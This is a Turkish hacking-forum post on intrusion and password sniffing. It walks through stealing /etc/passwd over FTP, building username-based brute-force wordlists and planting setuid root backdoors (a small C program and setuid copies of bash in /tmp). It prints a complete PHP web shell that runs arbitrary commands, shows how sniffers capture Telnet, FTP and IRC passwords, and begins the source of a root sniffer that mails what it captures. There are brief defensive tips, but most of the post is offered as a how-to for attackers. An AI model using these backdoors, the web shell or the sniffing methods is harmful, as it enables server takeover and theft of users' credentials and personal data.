3. Göz (Sniffing)

SanalFiravun

Katılımcı Üye
7 Ara 2007
562
13
Dünyanın Tam ortası
Sistem yöneticileri kullanıcılarının, tahmin edilmesi zor şifreler(büyük-küçük harf , rakam , özel karakterler içeren) kullanmasını isterler. 1000 den fazla kullanıcıya sahip bir sistem düşünün. Eğer bu kullanıcılardan birinin şifresi kolay tahmin edilebilir türdense sisteme dışarıdan gelen saldırı(Brute force) ile bu şifre istenmeyen ellere geçebilir.Bunu sonucunda sistem güvenliği bir anda zayıflamış olur. Bu şifre vasıtasıyla local ve(veya) remote exploitler denenerek bir anda sistem yöneticisi yetkilerine sahip olunabilir.
Şifre dosyasına(/etc/passwd veya /etc/shadow) erişen bir saldırganın yeni şifreler bulması an meselesidir.

Bir senaryo hazırlayalım:
Ftp(File Transfer Protokol) ile saldırganın bulduğu şifre vasıtasıyla sisteme bağlandığını düşünelim.

[root@netblock /]# ftp xxxxxx.net
Connected to xxxxx.net.
220 ProFTPD 1.2.5rc1 Server (ProFTPD Default Installation) [xxxxxx.net]
Name (xxxxx.net:xxxxx): cilekous
331 Password required for cilekous.
Password:
230 User cilekous logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get /etc/passwd
.....
227 Entering Passive Mode ....
150 Opening BINARY mode data connection for /etc/passwd (30000 bytes).
226 Transfer complete.
....


Saldırganın passwd dosyasını aldığını farzedelim. Aldığı dosya şu şekilde:

......
georgevi:*:24371:100:Mathias George:/usr/home/georgev:/bin/sh
georgilav:*:24371:100:Georgila Vessula:/usr/home/georgila:/bin/sh
ghikas:*:24371:100:Yrio Ghikas:/usr/home/ghikaso:/bin/sh
gianniss:*:24371:100:giannis feeds:/usr/home/giannis:/bin/sh
giano:*:24371:100:Gianopoulos:/usr/home/gianopou:/bin/sh
gisop:*:24371:100:poulou:/usr/home/gisop:/bin/sh
karelos:*:24371:100:Karelos:/usr/home/karelos:/bin/sh
ourgoul:*:24371:100:eek:urgoulis:/usr/home/ourgoul:/bin/sh
oxou:*:24371:100:eek:xoou:/usr/home/oxou:/bin/sh
jstas:*:24371:100:Stas:/usr/home/jsta:/bin/sh
kabasi:*:24371:100:Mandy Kabassi:/usr/home/kabas:/bin/sh
kamberi:*:24371:100:roula beri:/usr/home/kamberi:/bin/sh
kandou:*:24371:100:Juliasous Kandouros:/usr/home/kandou:/bin/sh
......


Bu işlemden sonra saldırgan bulduğu şifreyi kaybetme olasılığına karşın sistemde yeni şifre arıyacaktır. Bunun için kendi sistemine çektiği passwd dosyasını inceleyerek sistemde bulunan kullanıcılara gore şifre dosyası üreteterek bunu karşı sisteme karşı kullanacaktır(Brute force).
Kullanıcılara göre ürettiği şifre dosyası şu şekilde olabilir:

....
georgevi:georgevi
georgevi:georgevi1
georgilav:georgilav
georgilav:georgilav1
ghikas:ghikas
ghikas:ghikas1
gianniss:gianniss
gianniss:gianniss1
giano:giano
giano:giano1
gisop:gisop
gisop:gisop1
karelos:karelos
karelos:karelos1
ourgoul:eek:urgoul
ourgoul:eek:urgoul1
oxou:eek:xou
oxou:eek:xou1
jstas:jstas
jstas:jstas1
kabasi:kabasi
kabasi:kabasi1
kamberi:kamberi
kamberi:kamberi1
kandou:kandou
kandou:kandou1
....


Bulduğu bu şifrelerle sisteme ssh yada telnet ile bağlanmaya çalışıp istediğini yapmaya gayret edecektir. Genellikle amaç sistem yöneticisi konumuna geçmek ve kişisel bilgileri ele gecirmektir.
Sistem yöneticileri bu gibi durumlarla karşılaşmamak için kullanıcıların 15-30 günde bir şifre değiştirmelerini isterler. Kullanıcılar yinede kolay-hatırlanır şifreler yazmayı tercih ederler. Zor şifreleri ise kağıda yazarak ya masanın üstüne yada duvara yapıştırma eğilimi gösteren kullanıcılarda vardır. Üniversitede hocamın tüm şifreleri(Telnet,E-mail,Ftp) odasındaki tabelaya asılı idi
smiley.gif

Peki ticaretle uğraşan bir kişinin internet hesap şifrelerinin monitörünün kenarına yapıştırılmış kağıtta bulunmasına ne demeli...

Şifreler nasıl olmalı?
Bunun için kullanılan harflerin,rakamların ve özel karakterlerin bir anlam içerecek şekilde biraraya gelip hafızada kolay tutulur cinsten olması gerektiğide söylenir.
Örneğin:
S15tGgYv
.S.eni .15. .t.emmuz .G.unu .g.ordugumde .Y.uregimden .v.uruldum

Aslında buda tam çözüm değildir. Fakat zonguldak , eregli , ankara1977 , 19801980 gibi şifreler kullanmaktan daha iyidir.

Daha önce dediğimiz gibi saldırıların temel amaçların başında kişisel bilgilere ulaşmak gelir. Web üzerinden kişisel bilgilere ulaşımda tehlike unsuru oluşturan bir duruma göz atalım.
****cart ile ayarlanmış bir alışveriş sitesi düşünün. Bu alışveriş sitesinde tüm bilgiler (Kredikart Numarası , Ad Soyad , E-Mail , Telefon No , Adres...)
database dizisinin icinde bulunan ****cart.mdb dosyasında saklanır. Bu dosyaya web browser ile adres satırına yazılacak kelimelerle ulaşmak mümkün.Şu şekilde:
İçeriği görüntülemek için üye olmalısınız.
smiley.gif

İçeriği görüntülemek için üye olmalısınız.

İçeriği görüntülemek için üye olmalısınız.


Sistemde root yetkisine sahip olan bir kişini sisteme tekrar girdiğinde nasıl root olabileceğini görelim(işini şansa bırakmak istemeyebilir.Her zaman exploitlerin çalışacağı garantisi yoktur). #root olduktan sonra bash kabuğu ile oynaYasak Kelime tekrar sisteme bağlandığında root olabilir.
Bash kullanarak 2 yoldan birini kullanarak root olur.

Tekrar senaryomuzu yazalım:
1.Yol
Herkes tarafından yazma yetkisine sahip olan /tmp dizinine gelerek küçük bir kod yazarak bu dizinde yazdığı program parçaçığını derler.



tmp.c dosyasının içeriği şu şekildedir:
#include<stdlib.h>
main ()
{
setuid(0);
system("/bin/bash");
}





Derleme işlemini şu şekilde gerçekleştirmiştir.
gcc -o tmp. tmp.c



Bu işlem tamamlandıktan sonra chmod 4775 tmp. komutu yardımıyla programcığa setuid yetkisi verir.



Artık tmp. dosyası seyesinde siteme bir sonraki girişinde root olabilecektir (gerçek sistem yöneticisi anlayıncaya kadar).
Buda şu şekilde gerçekleşir:



Telnet yada Ssh ile sisteme bağlanıp daha daha önceden ayarladığı dosyanın bulunduğu /tmp dizinine gidecektir.



Sonra $./tmp. komutuyla dosyayı çalıştırıp root yetkisine sahip olacaktır
smiley.gif


2.Yol
/bin/bash kabuğu setuid(+s) durumda ise herhangi bir kullanıcı /bin/bash -p komutu vasıtasıyla root yetkisine sahip olur
smiley.gif

Bu durumdan nasıl faydalanır?
Sistemde root yetkisine sahip olmus istenmiyen kişi öncelikle /bin/bash dosyasına +s eklentisi (setuid) eklentisi yapacaktır.
#chmod +s /bin/bash



Normal kullanıcı iken /bin/bash -p komutuyla root yetkisine gecer.



Bu durum kendisi açısından risklidir.Sistem yöneticisi anlayabilir.Bu yüzden işlemi farklı bir şekilde gerçekleştirir.
/bin/bash dosyasını /tmp dizini altına faklı isimde kopyalar.



bash dosyası tmp dizinine temp adı altında kopyalamıştır. chmod +s temp komutuyla artık kendine root verecek kabugu yaratmış olur.Tekrar sisteme girdiginde temp -p komutuyla root olur.







PHP - ASP
İnternet dünyasında WEB Browserların önemi büyüktür.Browserlar vasıtasıyla php ve asp gibi yazılımlar kolaylıkla (sunucu desteklerse) görüntülenebilir. Peki bu tur yazılımların ne gibi tehlikesi olabilir(kullanıcıya göre değişir). Burada php ve asp konusu detayına kadar incelenmiyecektir. Sadece örnekle ne gibi sorunlara yol açılabileceği tartışılacaktır.

Php desteği veren bir server düşünelim.Bu serverda telnet girişi olmasa bile ftp ile küçük bir php yazılımı karşı tarafa aktarılarak dosyalar görüntülenebilir.
Örnek kod:
<?php
?>
<html>
<head>
<title>PHP Shell</title>
</head>
<body>
<h1>PHP Shell</h1>
<?php
if (!empty($work_dir)) {
/* A workdir has been asked for */
if (!empty($command)) {
if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {
if ($regs[1][0] == '/') {
$new_dir = $regs[1];
} else {
$new_dir = $work_dir . '/' . $regs[1];
}
if (file_exists($new_dir) && is_dir($new_dir)) {
$work_dir = $new_dir;
}
unset($command);
}
}
}

/* we chdir to that dir. */
if (file_exists($work_dir) && is_dir($work_dir)) {
chdir($work_dir);
$work_dir = exec("pwd");
} else {
/* No work_dir - we chdir to $********_ROOT */
chdir($********_ROOT);
$work_dir = $********_ROOT;
}
?>

<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
<p>Current working directory: <b>
<?php
$work_dir_splitted = explode("/", substr($work_dir, 1));
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "/&command=" . urlencode($command) . "\">Root</a>/";
if ($work_dir_splitted[0] == "") {
$work_dir = "/"; /* Root directory. */
} else {
for ($i = 0; $i < count($work_dir_splitted); $i++) {
/* echo "i = $i";*/
$url .= "/".$work_dir_splitted[$i];
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a>/";
}
}
?></b></p>
<p>Choose new working directory:
<select name="work_dir" onChange="this.form.submit()">
<?php
/* Now we make a list of the directories. */
$dir_handle = opendir($work_dir);
/* Run through all the files and directories to find the dirs. */
while ($dir = readdir($dir_handle)) {
if (is_dir($dir)) {
if ($dir == ".") {
echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
} elseif ($dir == "..") {
/* We have found the parent dir. We must be carefull if the parent
directory is the root directory (/). */
if (strlen($work_dir) == 1) {
/* work_dir is only 1 charecter - it can only be / There's no
parent directory then. */
} elseif (strrpos($work_dir, "/") == 0) {
/* The last / in work_dir were the first charecter.
This means that we have a top-level directory
eg. /bin or /home etc... */
echo "<option value=\"/\">Parent Directory</option>\n";
} else {
/* We do a little bit of string-manipulation to find the parent
directory... Trust me - it works :) */
echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
}
} else {
if ($work_dir == "/") {
echo "<option value=\"$work_dir$dir\">$dir</option>\n";
} else {
echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
}
}
}
}
closedir($dir_handle);
?>

</select></p>

<p>Command:</p>
<input type="text" name="command" size="60">
<input name="submit_btn" type="submit" value="Execute Command"></p>

<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p>

<p>Output:</p>

<textarea cols="80" rows="20" readonly>

<?php
if (!empty($command)) {
if ($stderr) {
$command .= " 1> /tmp/output.txt 2>&1; " .
"cat /tmp/output.txt; rm /tmp/output.txt";
} else if ($command == 'ls') {
/* ls looks much better with ' -F', IMHO. */
$command .= ' -F';
}
system($command);
}
?>

</textarea>
</form>

<script language="JavaScript" type="text/javascript">
********.forms[0].command.focus();
</script>

<hr>
<i>Copyright © 2000, <a
href="mailto:[email protected]">Martin Geisler</a>. Get the latest
version at <a href=" http://www.gimpster.com">www.gimpster.com</a>.</i>
</body>
</html>

Bu kod, örneğin shell.php olarak servere aktarılırsa browserdan komutları kullanarak çıktıları ekranda görebilirsiniz.












Aynı inceleme işlemi asp destekli sistemlerdede geçerlidir. İyi yazılmış bir asp kodu ile yine sistemde telnet girişi olmasa bile tum dizinleri inceleyebilirsiniz. Ftp ile gerekli yazılımı karşı sisteme aktarmak yeterlidir.




Hikaye -1-

Doğru olduğuna emindi. Kendi kendine 'Unutmuş olamam. Unutmuş olamam' diyordu. Ne Telnet ile Mail hesabına bağlanabiliyordu nede irc'de nick ve kanal parolasını girebiliyordu. Geçersiz ... Hepsi geçersizdi. Soğuk terler akmaya başladı. Web sayfası aklına geldi. 2 gün önce sayfasını yenilemişti.
Ftp programını çalıştırdı. Gözlerine inanamadı. Parola geçersizdi. Bu nasıl olmuştu. Derin düşüncelere daldı. Tüm parolaları nasıl bir anda kaybedebilirim dedi kendi kendine? Doğru yazdığına emindi. Kendisinden başka hiçbir arkadaşı parolaları bilmiyordu. Biri parolaları ele geçirmişti. Nasıl gerçekleşmişti? Biri yerel ağı gözetlemekteydi. Daha önceki günlerde tüm yaptığı işlemler izlenmişti..

Sniffer, bilgi paketlerini network üzerinden izleyen ve networkten bilgi toplayan araçlardır. Snifferlar temel olarak bilgi yakalar. Ethernet vasıtasıyla işlerini hallederler.
Bir çok sniffer programı vardır. Bu tür araçlarla kolaylıkla Telnet yada Ftp oturumlarına ait login ve parolalar kolaylıkla izlenebilir.

-Sniffer nasıl çalışır?
Makine Ereglinin, bir başka makine olan Alapli ile konuşmak istediğini düşünün. Eregli aaa.bbb.ccc.ddd ip adresine sahip, Alapli ise fff.ggg.hhh.jjj ip adresine sahip. Eregli network üzerinden bir paket gönderdiğinde, hedef MAC(Media Access Control) adresini ve kaynak MAC adresini içerir. Sniffer kurulu bir makine her bilgiyi kabul eder. Eregli isimli makineden yollanan paket, sniffer yüklü Alapli isimli makineden kolaylikla yakalanabilir. Paket Alapli isimli makineyi ilgilendirsin yada ilgilendirmesin paket izlenir.

-Snifferlarin ortaya çıkarılması
Bir Sniffer genelde pasiftir sadece bilgi toplar. Bu nedenle, snifferi ortaya çıkarmak zordur. Sisteme kurulduğunda, bir sniffer küçük oranda bir trafik üretir ve bu nedenle ortaya çıkarılabilir.
# ifconfig | grep PROMISC komutu kullanıldığında aşağıdaki gibi bir durumla karşılaşıyorsanız, ortalıkta birşeyler olabilir demektir.
UP BROAD RUNNING PROMISC MULTICAST MTU:1500 METRIC

-Sniff Engelleme
Sniff'e karşı korunmanın en iyi yolu paketleri şifrelemektir. Normal olarak paketler yakalandığında herşey apaçık oradadır. Fakat SSH ile bir sisteme bağlanıldığında paketler yakalansa bile bilgiler şifrelendiğinden paketleri yakalayan kişi hiçbirşey anlamaz.




Commview
Windows ortamında çalışan, yerel ağda göz olabilecek bir program. Kullanım amacı kişiden kişiye değişir. Kimi için yerel ağ yönetimi için ideal, kimi için ağda dolaşan paketleri yakalayıp istenilenleri elde etmek için bire bir. Portlar ve textler filtre edilerek, sizin bilginize sunulur. Örneğin 23. port takip edilerek ağdan dışarıya veya içeri gelen paketlerden telnet parolası yakalanabilir yada nickserv yazısı kontrol edilerek irc parolaları öğrenilebilir. Kurallar kısmı iyi ayarlanırsa ağdaki paketler kolaylıkla analiz edilebilir.




IP Statistics:
Yerel ağdaki bilgisayarların veri alışverişini gösterir.
Packets:
Ortalıkta dolaşan paketleri buradan izleyebilirsiniz. Ayrıca paketlerin içeriklerini inceleyebilirsiniz.
Rules:
Kuralları oluşturarak her paketi incelemenize gerek kalmaz. İstediğiniz durumu inceleyebilirsiniz.










Aşağıdaki birkaç resmi inceleyelim:



Görüldüğü gibi 192.168.0.11 ip numaralı makineden ftp isteği bulunulmuş.
İstekler net bir şekilde farkedilmektedir.



Paketler derinlemesine incelendiğinde ortaya çıkan sonuç:




Açıkca bir nickin identify edildiği belli olmaktadır
smiley.gif



Aşağıdaki şekildede ftp parolası görülmektedir.




GnuSniff
Linux ortamında çalışan grafik arayüze sahip bir sniffer programı. Linux sistemde sniff kullanabilmek için öncelikle #root yetkisinde olmalısınız. Kullanımı basittir.



Sol tarafta izlenebilir mevcut aygıtların listesi belirtilmektedir. Bunlardan biri seçilerek paketler izlenebilir. Status bölümü seçilen aygıt hakkında bilgi sunan penceredir.




Capture ----> Start Capturing ile ağı analiz etmeye başlayabilirsiniz.




Data kısmında paketler incelenebilmektedir. Yukarıda görüldüğü gibi nickserv komutuyla biri nickini identify etmiş.

Hikaye -2-

Snuff
Uzun uğraşlar sonucu Linux kurulu serverda normal user parolası bulmuştu. Win98 telneti kullanarak(Başlat--> Çalıştır--> telnet xxx.net) karşı sisteme bağlanmayı başardı. #Root olmak istiyordu. Sistem hakkında bilgiler edindi.Serverda hangi sistem kurulu olduğunu, versiyonunu , ftp server hakkinda bilgiyi, sendmail'in versiyonu ... hepsini öğrenmişti. Sonunda sistemde çalıştıracağı exploitide bulmuştu.
Exploit'i derledi( $gcc -o exp sendmailexp.c ).
Derleme işleminde hiç bir hata ile karşılaşmadı ve exploiti çalıştırdı($./exp)
Hiç bu kadar kolay olacağını tahmin etmemişti ve sistemde root olmayı başardı.

System exploited ...............
Voilaaaaa Entering Rootshell....
bash#


Hafif bir tebessümle bu bana yetmez dedi. Sistemdeki diğer kullanıcıların parolalarını bulmalıydı ve neler yaptıklarını izlemeliydi. Bunun için küçük ama etkili bir araç kullandı. Kullandığı program iki dosyadan oluşmaktaydı.
1.dosya programın C ile yazılmış bölümü (snuff.c)
2.dosya ise ayar dosyası (snuff.cfg).
Snuff, Root hakkına sahip olduktan sonra çalıştırılabilen bir dosyadır. Konfig dosyasında ayar yapılarak belirtilen portlardaki bilgi akışı kontrol edilerek istenilen bilgileri maile yollar.

# ---->/* Snuff.c */<---- #
#include
#include
....
....

struct PKT_LIST
{
unsigned long saddr;
unsigned long daddr;
unsigned int sport;
unsigned int dport;
unsigned long dataread;
time_t start;
struct PKT_LIST *next; char *data;
}
*root = NULL;
typedef struct PKT_LIST LIST;
struct snuff_config
{
int snifflen;
int backgnd;
int timeout;
int maxpkts;
int dontmail;
int wipelog;
int keepopen;
char *dev;
char *logfile;
char *ports;
char *mailaddr;
};
typedef struct snuff_config SNUFFCFG;
**** handle_stuff(****);
SNUFFCFG *snuff_setup(FILE *);
int setpromisc(char *);
char *namelookup(unsigned long);
**** suicide(char *);
**** signal_handler(int);
**** add_pkt(u_long, u_long, u_int, u_int);
LIST *find_pkt(u_long, u_long, u_int, u_int);
**** rm_pkt(LIST *);
**** save_pkt(LIST *, int);
unsigned long put_log(char *, ...);
**** update_pkt_list(****);
**** mail(****)

#define PKT_TIMEDOUT 0
#define PKT_EDL 1
#define PKT_RST 2
#define PKT_FIN 3
char rawdata[0xffff];
int eth_desc, totalpkts = 0;
time_t now;
SNUFFCFG *cfg;
FILE *log;
int main()
{
FILE *cfgfd;
("snuff.c, a linux packet sniffer by noupe [[EMAIL="[email protected]
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.